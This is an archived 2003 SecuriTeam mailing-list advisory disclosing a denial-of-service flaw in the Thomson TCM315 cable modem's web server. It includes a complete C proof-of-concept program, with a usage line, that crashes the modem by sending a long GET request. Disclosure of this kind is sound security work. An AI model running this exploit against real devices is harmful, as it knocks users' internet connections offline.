

[NEWS] Thomson TCM315 Denial of Service (Long GET Request)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0097.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/26/03

To: list@securiteam.com

Date: 26 Nov 2003 14:53:31 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Thomson TCM315 Denial of Service (Long GET Request)

SUMMARY

<<http://www.qb.ro/modem.html>> Thomson TCM315 is "a cable modem, the modem allows remote users to administrate it via its built-in web server". The product's web server is vulnerable to a denial of service attack via an arbitrarily long GET request being sent to the server.

DETAILS

Exploit:

/*

ADVISORY – Thomson Cablemodem TCM315 Denial of Service

Shell security group (2003) <http://www.shellsec.net>

November 10 of 2003

Tested against: TCM315 MP

Software Version: ST31.04.00

Software Model: A801

Bootloader: 2.1.4c

Securiteam: [NEWS] Thomson TCM315 Denial of Service (Long GET Request)

Impact: Users with access to the network can remotely shutdown internet connection.

Discovered by: aT4r Andres[at]shellsec.net

Vendor: contacted (no answer)

Fix: no yet

usage: just, thdos.exe 192.168.100.1

*/

```
#include <stdio.h>
```

```
#include <winsock2.h>
```

```
void main(int argc,char *argv[]) {
```

```
char evil[150],buffer[1000];
```

```
struct sockaddr_in shellsec;
```

```
int fd;
```

```
WSADATA ws;
```

```
WSAStartup( MAKEWORD(1,1), &( ws) );
```

```
shellsec.sin_family = AF_INET;
```

```
shellsec.sin_port = htons(80);
```

```
shellsec.sin_addr.s_addr = inet_addr(argv[1]);
```

```
memset(evil,'\0',sizeof(evil));
```

```
memset(evil,'A',100);
```

```
sprintf(buffer,"GET /%s HTTP/1.1\r\n\r\n\r\n",evil);
```

```
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
```

```
if (connect(fd,( struct sockaddr *)&shellsec,sizeof(shellsec)) != -1) {
```

```
send(fd,buffer,strlen(buffer),0); printf("done. Thomson Cablemodem
```

```
reset!\n"); sleep(100); } else printf("Unable to connect to CM.\n"); }
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:andres@shellsec.net> Andrés Tarascó.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

Securiteam: [NEWS] Thomson TCM315 Denial of Service (Long GET Request)

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.